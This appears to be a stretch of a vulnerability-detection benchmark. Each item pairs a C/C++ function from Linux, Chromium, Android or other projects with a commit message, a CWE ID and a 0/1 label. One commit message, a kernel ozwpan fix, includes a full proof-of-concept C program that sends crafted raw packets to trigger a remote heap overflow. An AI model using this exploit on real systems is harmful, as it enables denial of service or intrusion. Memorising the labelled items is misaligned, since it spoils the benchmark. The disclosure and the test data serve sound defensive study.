Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <davem@davemloft.net>
Suggested-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 40,694
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static unsigned readU32FromChar(const char** stringPtr)
{
unsigned result = 0;
while ((**stringPtr >='0') && (**stringPtr <='9'))
result *= 10, result += **stringPtr - '0', (*stringPtr)++ ;
if ((**stringPtr=='K') || (**stringPtr=='M')) {
result <<= 10;
if (**stringPtr=='M') result <<= 10;
(*stringPtr)++ ;
if (**stringPtr=='i') (*stringPtr)++;
if (**stringPtr=='B') (*stringPtr)++;
}
return result;
}
Commit Message: fixed T36302429
CWE ID: CWE-362
| 0
| 90,145
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: InputEventAckNotificationObserver::~InputEventAckNotificationObserver() {}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,681
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AudioInputRendererHost::DoCompleteCreation(
media::AudioInputController* controller) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
AudioEntry* entry = LookupByController(controller);
if (!entry)
return;
if (!peer_handle()) {
NOTREACHED() << "Renderer process handle is invalid.";
DeleteEntryOnError(entry);
return;
}
if (!entry->controller->LowLatencyMode()) {
NOTREACHED() << "Only low-latency mode is supported.";
DeleteEntryOnError(entry);
return;
}
base::SharedMemoryHandle foreign_memory_handle;
if (!entry->shared_memory.ShareToProcess(peer_handle(),
&foreign_memory_handle)) {
DeleteEntryOnError(entry);
return;
}
AudioInputSyncWriter* writer =
static_cast<AudioInputSyncWriter*>(entry->writer.get());
#if defined(OS_WIN)
base::SyncSocket::Handle foreign_socket_handle;
#else
base::FileDescriptor foreign_socket_handle;
#endif
if (!writer->PrepareForeignSocketHandle(peer_handle(),
&foreign_socket_handle)) {
DeleteEntryOnError(entry);
return;
}
Send(new AudioInputMsg_NotifyStreamCreated(entry->stream_id,
foreign_memory_handle, foreign_socket_handle,
entry->shared_memory.created_size()));
}
Commit Message: Improve validation when creating audio streams.
BUG=166795
Review URL: https://codereview.chromium.org/11647012
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@173981 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 118,532
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Compositor::SetExternalBeginFrameClient(ExternalBeginFrameClient* client) {
DCHECK(external_begin_frames_enabled_);
external_begin_frame_client_ = client;
if (needs_external_begin_frames_ && external_begin_frame_client_)
external_begin_frame_client_->OnNeedsExternalBeginFrames(true);
}
Commit Message: Don't report OnFirstSurfaceActivation for ui::Compositor
Bug: 893850
Change-Id: Iee754cefbd083d0a21a2b672fb8e837eaab81c43
Reviewed-on: https://chromium-review.googlesource.com/c/1293712
Reviewed-by: Antoine Labour <piman@chromium.org>
Commit-Queue: Saman Sami <samans@chromium.org>
Cr-Commit-Position: refs/heads/master@{#601629}
CWE ID: CWE-20
| 0
| 143,007
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_usb_hdr *usb_hdr, int len)
{
struct oz_data *data_hdr = (struct oz_data *)usb_hdr;
switch (data_hdr->format) {
case OZ_DATA_F_MULTIPLE_FIXED: {
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
int n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
data += body->unit_size;
}
}
break;
case OZ_DATA_F_ISOC_FIXED: {
struct oz_isoc_fixed *body =
(struct oz_isoc_fixed *)data_hdr;
int data_len = len-sizeof(struct oz_isoc_fixed)+1;
int unit_size = body->unit_size;
u8 *data = body->data;
int count;
int i;
if (!unit_size)
break;
count = data_len/unit_size;
for (i = 0; i < count; i++) {
oz_hcd_data_ind(usb_ctx->hport,
body->endpoint, data, unit_size);
data += unit_size;
}
}
break;
}
}
Commit Message: ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-119
| 0
| 43,153
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num,
size_t size, off_t fsize, int mach, int strtab, int *flags,
uint16_t *notecount)
{
Elf32_Shdr sh32;
Elf64_Shdr sh64;
int stripped = 1, has_debug_info = 0;
size_t nbadcap = 0;
void *nbuf;
off_t noff, coff, name_off;
uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilities */
uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilities */
char name[50];
ssize_t namesize;
if (size != xsh_sizeof) {
if (file_printf(ms, ", corrupted section header size") == -1)
return -1;
return 0;
}
/* Read offset of name section to be able to read section names later */
if (pread(fd, xsh_addr, xsh_sizeof, CAST(off_t, (off + size * strtab)))
< CAST(ssize_t, xsh_sizeof)) {
if (file_printf(ms, ", missing section headers") == -1)
return -1;
return 0;
}
name_off = xsh_offset;
for ( ; num; num--) {
/* Read the name of this section. */
if ((namesize = pread(fd, name, sizeof(name) - 1,
name_off + xsh_name)) == -1) {
file_badread(ms);
return -1;
}
name[namesize] = '\0';
if (strcmp(name, ".debug_info") == 0) {
has_debug_info = 1;
stripped = 0;
}
if (pread(fd, xsh_addr, xsh_sizeof, off) <
CAST(ssize_t, xsh_sizeof)) {
file_badread(ms);
return -1;
}
off += size;
/* Things we can determine before we seek */
switch (xsh_type) {
case SHT_SYMTAB:
#if 0
case SHT_DYNSYM:
#endif
stripped = 0;
break;
default:
if (fsize != SIZE_UNKNOWN && xsh_offset > fsize) {
/* Perhaps warn here */
continue;
}
break;
}
/* Things we can determine when we seek */
switch (xsh_type) {
case SHT_NOTE:
if (CAST(uintmax_t, (xsh_size + xsh_offset)) >
CAST(uintmax_t, fsize)) {
if (file_printf(ms,
", note offset/size %#" INTMAX_T_FORMAT
"x+%#" INTMAX_T_FORMAT "x exceeds"
" file size %#" INTMAX_T_FORMAT "x",
CAST(uintmax_t, xsh_offset),
CAST(uintmax_t, xsh_size),
CAST(uintmax_t, fsize)) == -1)
return -1;
return 0;
}
if ((nbuf = malloc(xsh_size)) == NULL) {
file_error(ms, errno, "Cannot allocate memory"
" for note");
return -1;
}
if (pread(fd, nbuf, xsh_size, xsh_offset) <
CAST(ssize_t, xsh_size)) {
file_badread(ms);
free(nbuf);
return -1;
}
noff = 0;
for (;;) {
if (noff >= CAST(off_t, xsh_size))
break;
noff = donote(ms, nbuf, CAST(size_t, noff),
xsh_size, clazz, swap, 4, flags, notecount,
fd, 0, 0, 0);
if (noff == 0)
break;
}
free(nbuf);
break;
case SHT_SUNW_cap:
switch (mach) {
case EM_SPARC:
case EM_SPARCV9:
case EM_IA_64:
case EM_386:
case EM_AMD64:
break;
default:
goto skip;
}
if (nbadcap > 5)
break;
if (lseek(fd, xsh_offset, SEEK_SET)
== CAST(off_t, -1)) {
file_badseek(ms);
return -1;
}
coff = 0;
for (;;) {
Elf32_Cap cap32;
Elf64_Cap cap64;
char cbuf[/*CONSTCOND*/
MAX(sizeof(cap32), sizeof(cap64))];
if ((coff += xcap_sizeof) >
CAST(off_t, xsh_size))
break;
if (read(fd, cbuf, CAST(size_t, xcap_sizeof)) !=
CAST(ssize_t, xcap_sizeof)) {
file_badread(ms);
return -1;
}
if (cbuf[0] == 'A') {
#ifdef notyet
char *p = cbuf + 1;
uint32_t len, tag;
memcpy(&len, p, sizeof(len));
p += 4;
len = getu32(swap, len);
if (memcmp("gnu", p, 3) != 0) {
if (file_printf(ms,
", unknown capability %.3s", p)
== -1)
return -1;
break;
}
p += strlen(p) + 1;
tag = *p++;
memcpy(&len, p, sizeof(len));
p += 4;
len = getu32(swap, len);
if (tag != 1) {
if (file_printf(ms, ", unknown gnu"
" capability tag %d", tag)
== -1)
return -1;
break;
}
#endif
break;
}
memcpy(xcap_addr, cbuf, xcap_sizeof);
switch (xcap_tag) {
case CA_SUNW_NULL:
break;
case CA_SUNW_HW_1:
cap_hw1 |= xcap_val;
break;
case CA_SUNW_SF_1:
cap_sf1 |= xcap_val;
break;
default:
if (file_printf(ms,
", with unknown capability "
"%#" INT64_T_FORMAT "x = %#"
INT64_T_FORMAT "x",
CAST(unsigned long long, xcap_tag),
CAST(unsigned long long, xcap_val))
== -1)
return -1;
if (nbadcap++ > 2)
coff = xsh_size;
break;
}
}
/*FALLTHROUGH*/
skip:
default:
break;
}
}
if (has_debug_info) {
if (file_printf(ms, ", with debug_info") == -1)
return -1;
}
if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1)
return -1;
if (cap_hw1) {
const cap_desc_t *cdp;
switch (mach) {
case EM_SPARC:
case EM_SPARC32PLUS:
case EM_SPARCV9:
cdp = cap_desc_sparc;
break;
case EM_386:
case EM_IA_64:
case EM_AMD64:
cdp = cap_desc_386;
break;
default:
cdp = NULL;
break;
}
if (file_printf(ms, ", uses") == -1)
return -1;
if (cdp) {
while (cdp->cd_name) {
if (cap_hw1 & cdp->cd_mask) {
if (file_printf(ms,
" %s", cdp->cd_name) == -1)
return -1;
cap_hw1 &= ~cdp->cd_mask;
}
++cdp;
}
if (cap_hw1)
if (file_printf(ms,
" unknown hardware capability %#"
INT64_T_FORMAT "x",
CAST(unsigned long long, cap_hw1)) == -1)
return -1;
} else {
if (file_printf(ms,
" hardware capability %#" INT64_T_FORMAT "x",
CAST(unsigned long long, cap_hw1)) == -1)
return -1;
}
}
if (cap_sf1) {
if (cap_sf1 & SF1_SUNW_FPUSED) {
if (file_printf(ms,
(cap_sf1 & SF1_SUNW_FPKNWN)
? ", uses frame pointer"
: ", not known to use frame pointer") == -1)
return -1;
}
cap_sf1 &= ~SF1_SUNW_MASK;
if (cap_sf1)
if (file_printf(ms,
", with unknown software capability %#"
INT64_T_FORMAT "x",
CAST(unsigned long long, cap_sf1)) == -1)
return -1;
}
return 0;
}
Commit Message: Avoid reading past the end of buffer (Rui Reis)
CWE ID: CWE-125
| 0
| 83,127
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t OMXCodec::setAC3Format(int32_t numChannels, int32_t sampleRate) {
OMX_AUDIO_PARAM_ANDROID_AC3TYPE def;
InitOMXParams(&def);
def.nPortIndex = kPortIndexInput;
status_t err = mOMX->getParameter(
mNode,
(OMX_INDEXTYPE)OMX_IndexParamAudioAndroidAc3,
&def,
sizeof(def));
if (err != OK) {
return err;
}
def.nChannels = numChannels;
def.nSampleRate = sampleRate;
return mOMX->setParameter(
mNode,
(OMX_INDEXTYPE)OMX_IndexParamAudioAndroidAc3,
&def,
sizeof(def));
}
Commit Message: OMXCodec: check IMemory::pointer() before using allocation
Bug: 29421811
Change-Id: I0a73ba12bae4122f1d89fc92e5ea4f6a96cd1ed1
CWE ID: CWE-284
| 0
| 158,189
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmci_transport_peer_detach_cb(u32 sub_id,
const struct vmci_event_data *e_data,
void *client_data)
{
struct sock *sk = client_data;
const struct vmci_event_payload_qp *e_payload;
struct vsock_sock *vsk;
e_payload = vmci_event_data_const_payload(e_data);
vsk = vsock_sk(sk);
if (vmci_handle_is_invalid(e_payload->handle))
return;
/* Same rules for locking as for peer_attach_cb(). */
local_bh_disable();
bh_lock_sock(sk);
/* XXX This is lame, we should provide a way to lookup sockets by
* qp_handle.
*/
if (vmci_handle_is_equal(vmci_trans(vsk)->qp_handle,
e_payload->handle))
vmci_transport_handle_detach(sk);
bh_unlock_sock(sk);
local_bh_enable();
}
Commit Message: VSOCK: vmci - fix possible info leak in vmci_transport_dgram_dequeue()
In case we received no data on the call to skb_recv_datagram(), i.e.
skb->data is NULL, vmci_transport_dgram_dequeue() will return with 0
without updating msg_namelen leading to net/socket.c leaking the local,
uninitialized sockaddr_storage variable to userland -- 128 bytes of
kernel stack memory.
Fix this by moving the already existing msg_namelen assignment a few
lines above.
Cc: Andy King <acking@vmware.com>
Cc: Dmitry Torokhov <dtor@vmware.com>
Cc: George Zhang <georgezhang@vmware.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 30,400
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: TextCheckerClient& WebLocalFrameImpl::GetTextCheckerClient() const {
return *text_checker_client_;
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732
| 0
| 134,323
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __f2fs_issue_discard_zone(struct f2fs_sb_info *sbi,
struct block_device *bdev, block_t blkstart, block_t blklen)
{
sector_t sector, nr_sects;
block_t lblkstart = blkstart;
int devi = 0;
if (sbi->s_ndevs) {
devi = f2fs_target_device_index(sbi, blkstart);
blkstart -= FDEV(devi).start_blk;
}
/*
* We need to know the type of the zone: for conventional zones,
* use regular discard if the drive supports it. For sequential
* zones, reset the zone write pointer.
*/
switch (get_blkz_type(sbi, bdev, blkstart)) {
case BLK_ZONE_TYPE_CONVENTIONAL:
if (!blk_queue_discard(bdev_get_queue(bdev)))
return 0;
return __queue_discard_cmd(sbi, bdev, lblkstart, blklen);
case BLK_ZONE_TYPE_SEQWRITE_REQ:
case BLK_ZONE_TYPE_SEQWRITE_PREF:
sector = SECTOR_FROM_BLOCK(blkstart);
nr_sects = SECTOR_FROM_BLOCK(blklen);
if (sector & (bdev_zone_sectors(bdev) - 1) ||
nr_sects != bdev_zone_sectors(bdev)) {
f2fs_msg(sbi->sb, KERN_INFO,
"(%d) %s: Unaligned discard attempted (block %x + %x)",
devi, sbi->s_ndevs ? FDEV(devi).path: "",
blkstart, blklen);
return -EIO;
}
trace_f2fs_issue_reset_zone(bdev, blkstart);
return blkdev_reset_zones(bdev, sector,
nr_sects, GFP_NOFS);
default:
/* Unknown zone type: broken device ? */
return -EIO;
}
}
Commit Message: f2fs: fix a panic caused by NULL flush_cmd_control
Mount fs with option noflush_merge, boot failed for illegal address
fcc in function f2fs_issue_flush:
if (!test_opt(sbi, FLUSH_MERGE)) {
ret = submit_flush_wait(sbi);
atomic_inc(&fcc->issued_flush); -> Here, fcc illegal
return ret;
}
Signed-off-by: Yunlei He <heyunlei@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-476
| 0
| 85,328
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int kvm_vcpu_release(struct inode *inode, struct file *filp)
{
struct kvm_vcpu *vcpu = filp->private_data;
kvm_put_kvm(vcpu->kvm);
return 0;
}
Commit Message: KVM: unmap pages from the iommu when slots are removed
commit 32f6daad4651a748a58a3ab6da0611862175722f upstream.
We've been adding new mappings, but not destroying old mappings.
This can lead to a page leak as pages are pinned using
get_user_pages, but only unpinned with put_page if they still
exist in the memslots list on vm shutdown. A memslot that is
destroyed while an iommu domain is enabled for the guest will
therefore result in an elevated page reference count that is
never cleared.
Additionally, without this fix, the iommu is only programmed
with the first translation for a gpa. This can result in
peer-to-peer errors if a mapping is destroyed and replaced by a
new mapping at the same gpa as the iommu will still be pointing
to the original, pinned memory address.
Signed-off-by: Alex Williamson <alex.williamson@redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 20,402
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void TIFFGetEXIFProperties(TIFF *tiff,Image *image)
{
#if defined(MAGICKCORE_HAVE_TIFFREADEXIFDIRECTORY)
char
value[MaxTextExtent];
register ssize_t
i;
tdir_t
directory;
#if defined(TIFF_VERSION_BIG)
uint64
#else
uint32
#endif
offset;
void
*sans[2] = { NULL, NULL };
/*
Read EXIF properties.
*/
offset=0;
if (TIFFGetField(tiff,TIFFTAG_EXIFIFD,&offset) != 1)
return;
directory=TIFFCurrentDirectory(tiff);
if (TIFFReadEXIFDirectory(tiff,offset) != 1)
{
TIFFSetDirectory(tiff,directory);
return;
}
for (i=0; exif_info[i].tag != 0; i++)
{
*value='\0';
switch (exif_info[i].type)
{
case TIFF_ASCII:
{
char
*ascii;
ascii=(char *) NULL;
if ((TIFFGetField(tiff,exif_info[i].tag,&ascii,sans) == 1) &&
(ascii != (char *) NULL) && (*ascii != '\0'))
(void) CopyMagickString(value,ascii,MaxTextExtent);
break;
}
case TIFF_SHORT:
{
if (exif_info[i].variable_length == 0)
{
uint16
shorty;
shorty=0;
if (TIFFGetField(tiff,exif_info[i].tag,&shorty,sans) == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%d",shorty);
}
else
{
int
tiff_status;
uint16
*shorty;
uint16
shorty_num;
tiff_status=TIFFGetField(tiff,exif_info[i].tag,&shorty_num,&shorty,
sans);
if (tiff_status == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%d",
shorty_num != 0 ? shorty[0] : 0);
}
break;
}
case TIFF_LONG:
{
uint32
longy;
longy=0;
if (TIFFGetField(tiff,exif_info[i].tag,&longy,sans) == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%d",longy);
break;
}
#if defined(TIFF_VERSION_BIG)
case TIFF_LONG8:
{
uint64
long8y;
long8y=0;
if (TIFFGetField(tiff,exif_info[i].tag,&long8y,sans) == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%.20g",(double)
((MagickOffsetType) long8y));
break;
}
#endif
case TIFF_RATIONAL:
case TIFF_SRATIONAL:
case TIFF_FLOAT:
{
float
floaty;
floaty=0.0;
if (TIFFGetField(tiff,exif_info[i].tag,&floaty,sans) == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%g",(double) floaty);
break;
}
case TIFF_DOUBLE:
{
double
doubley;
doubley=0.0;
if (TIFFGetField(tiff,exif_info[i].tag,&doubley,sans) == 1)
(void) FormatLocaleString(value,MaxTextExtent,"%g",doubley);
break;
}
default:
break;
}
if (*value != '\0')
(void) SetImageProperty(image,exif_info[i].property,value);
}
TIFFSetDirectory(tiff,directory);
#else
(void) tiff;
(void) image;
#endif
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1560
CWE ID: CWE-125
| 0
| 88,468
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AddSimpleSuggestionWithSeparatorOnTop(
int value,
int frontend_id,
std::vector<autofill::Suggestion>* suggestions) {
#if !defined(OS_ANDROID)
suggestions->push_back(autofill::Suggestion());
suggestions->back().frontend_id = autofill::POPUP_ITEM_ID_SEPARATOR;
#endif
autofill::Suggestion suggestion(l10n_util::GetStringUTF8(value),
std::string(), std::string(), frontend_id);
suggestions->push_back(suggestion);
}
Commit Message: Fixing names of password_manager kEnableManualFallbacksFilling feature.
Fixing names of password_manager kEnableManualFallbacksFilling feature
as per the naming convention.
Bug: 785953
Change-Id: I4a4baa1649fe9f02c3783a5e4c40bc75e717cc03
Reviewed-on: https://chromium-review.googlesource.com/900566
Reviewed-by: Vaclav Brozek <vabr@chromium.org>
Commit-Queue: NIKHIL SAHNI <nikhil.sahni@samsung.com>
Cr-Commit-Position: refs/heads/master@{#534923}
CWE ID: CWE-264
| 0
| 124,589
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int CMS_RecipientInfo_ktri_get0_signer_id(CMS_RecipientInfo *ri,
ASN1_OCTET_STRING **keyid,
X509_NAME **issuer,
ASN1_INTEGER **sno)
{
CMS_KeyTransRecipientInfo *ktri;
if (ri->type != CMS_RECIPINFO_TRANS) {
CMSerr(CMS_F_CMS_RECIPIENTINFO_KTRI_GET0_SIGNER_ID,
CMS_R_NOT_KEY_TRANSPORT);
return 0;
}
ktri = ri->d.ktri;
return cms_SignerIdentifier_get0_signer_id(ktri->rid, keyid, issuer, sno);
}
Commit Message:
CWE ID: CWE-311
| 0
| 11,911
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Element* Document::CreateElementForBinding(
const AtomicString& local_name,
const StringOrDictionary& string_or_options,
ExceptionState& exception_state) {
if (string_or_options.IsNull()) {
return CreateElementForBinding(local_name, exception_state);
}
if (!IsValidElementName(this, local_name)) {
exception_state.ThrowDOMException(
DOMExceptionCode::kInvalidCharacterError,
"The tag name provided ('" + local_name + "') is not a valid name.");
return nullptr;
}
const AtomicString& converted_local_name = ConvertLocalName(local_name);
QualifiedName q_name(g_null_atom, converted_local_name,
IsXHTMLDocument() || IsHTMLDocument()
? HTMLNames::xhtmlNamespaceURI
: g_null_atom);
bool is_v1 = string_or_options.IsDictionary() || !RegistrationContext();
bool create_v1_builtin = string_or_options.IsDictionary();
bool should_create_builtin =
create_v1_builtin || string_or_options.IsString();
const AtomicString& is =
AtomicString(GetTypeExtension(this, string_or_options, exception_state));
Element* element =
CreateElement(q_name,
is_v1 ? CreateElementFlags::ByCreateElementV1()
: CreateElementFlags::ByCreateElementV0(),
should_create_builtin ? is : g_null_atom);
if (!is_v1 && !is.IsEmpty())
element->setAttribute(HTMLNames::isAttr, is);
return element;
}
Commit Message: Inherit CSP when self-navigating to local-scheme URL
As the linked bug example shows, we should inherit CSP when we navigate
to a local-scheme URL (even if we are in a main browsing context).
Bug: 799747
Change-Id: I8413aa8e8049461ebcf0ffbf7b04c41d1340af02
Reviewed-on: https://chromium-review.googlesource.com/c/1234337
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597889}
CWE ID:
| 0
| 143,979
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int curl_mvprintf(const char *format, va_list ap_save)
{
return dprintf_formatf(stdout, fputc, format, ap_save);
}
Commit Message: printf: fix floating point buffer overflow issues
... and add a bunch of floating point printf tests
CWE ID: CWE-119
| 0
| 86,517
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline int DefragHashRawAddressIPv6GtU32(uint32_t *a, uint32_t *b)
{
int i;
for (i = 0; i < 4; i++) {
if (a[i] > b[i])
return 1;
if (a[i] < b[i])
break;
}
return 0;
}
Commit Message: defrag - take protocol into account during re-assembly
The IP protocol was not being used to match fragments with
their packets allowing a carefully constructed packet
with a different protocol to be matched, allowing re-assembly
to complete, creating a packet that would not be re-assembled
by the destination host.
CWE ID: CWE-358
| 0
| 67,821
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ChromeBrowserMainPartsChromeos::PreEarlyInitialization() {
base::CommandLine* singleton_command_line =
base::CommandLine::ForCurrentProcess();
if (parsed_command_line().HasSwitch(switches::kGuestSession)) {
singleton_command_line->AppendSwitch(::switches::kDisableSync);
singleton_command_line->AppendSwitch(::switches::kDisableExtensions);
browser_defaults::bookmarks_enabled = false;
}
if (!base::SysInfo::IsRunningOnChromeOS() &&
!parsed_command_line().HasSwitch(switches::kLoginManager) &&
!parsed_command_line().HasSwitch(switches::kLoginUser) &&
